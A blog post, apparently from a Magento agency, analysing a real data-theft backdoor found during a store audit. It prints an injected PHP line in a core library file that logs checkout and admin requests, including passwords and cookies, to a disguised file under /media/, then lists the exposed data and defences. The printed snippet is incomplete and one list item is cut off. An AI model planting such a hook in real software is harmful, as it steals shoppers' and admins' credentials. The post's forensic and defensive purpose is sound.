Security 1/5/2016

Anatomy of a Data Theft in Magento

In 2015, we repeatedly saw headlines about Magento's security. Several security issues were discovered and fixed. But what could happen if an unauthorized person gains access to your online store - either due to a security issue or other means? We were able to get a closer look at a real life example. For us, this case was an informative illustration of how hackers proceed. Even if you theoretically know how hacks could be applied, it is something very different to actually see them applied in a live online store.

The Diagnosis

A customer asked us to perform an analysis of their Magento store, focusing on code quality, best practices, updatability and security. It's a Magento Enterprise Edition, version, including all available security patches. Evaluating core hacks, we checked the shop's files for alterations from the original files from Magento. During this check, we recognized an additional line in the file lib/Varien/Object.php:
<?php if(preg_match("/checkout|admin/", $_SERVER["REQUEST_URI"])){
@base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?>

This code line does the following:

  • Record all requests which either contain "admin" or "checkout" in their URL
  • Save the complete requests including all parameters (e.g. form fields filled by the user)
  • Encode requests and add them to the file cache_6e0a3279d0cb2fbd9979b7d53ee065da located in the folder /media/ .

From there, the file can be downloaded using a simple browser. At the same time the file's name and folder appear rather unsuspicious. So if you are just casually stumbling on it on the server, you probably would not suspect anything. The file's content looks cryptic, but knowing the used method you can encode it easily enough. For example, the content looks as follow:

    [billing] => Array
            [address_id] =>
            [firstname] => Jane
            [lastname] => Doe
            [company] =>
            [email] =>
            [street] => Array
                    [0] => 123 Main Street

            [city] => Anytown
            [region_id] =>
            [region] =>
            [postcode] => 1234
            [country_id] => AT
            [telephone] => 012345678
            [fax] =>
            [customer_password] => xxxxxxx
            [confirm_password] => xxxxxxx
            [save_in_address_book] => 1
            [use_for_shipping] => 1

As you can see, the files contain the complete customer data set including passwords. To be more precise:

  • Passwords of all admins who logged in
  • Customer data such as name, email, address, phone number
  • Passwords of customers who registered during the checkout process or who logged in
  • Birth dates of customers who purchased on account

This is especially critical, since many customers use the same combination of email address and password for several services. Among the saved data, you will certainly find some to log in to services such as PayPal.

The Infection

The first customer data saved in the file is from May 25th, 2015; the infection was discovered on December 16th (and of course immediately removed). For more than half a year customer data and admin passwords were recorded.

The exact method of the attack could not be determined. Several attack routes are possible:

  • Exploitation of a security vulnerability in Magento that was closed too late
  • Exploitation of a security vulnerability that is independent of Magento, but is part of a different software run on the same server
  • Abuse of access rights by an extension provider's support employees or similar, for example during a module installation or while locating a bug


How can you effectively defend yourself against this kind of attacks? Several options come to mind:
  • Adjusting the web user's access rights on your server, so that he cannot modify any code
  • Prompt installation of security patches, published by Magento, as well as updates of the system software (e.g. PHP)
  • Automated, regular check for deviations of the published source code in comparison to the repository
  • Making sure that no external service provider can access source code via SSH or FTP with write permission
  • General means such as blocking the "downloader" folder and renaming / securing the "admin" folder
  • Regular checks using

The usual principle of precaution applies: update your software and install available patches promptly. In addition, everyone participating in this project should be sensitized to the limitation of access rights. With all precautionary means in place, it's always recommended to test that everything is in order. As performed here, compare the shop's files to the original files by Magento or your repository. Then both the store owner and the store's customers can feel secure, knowing their data is properly guarded.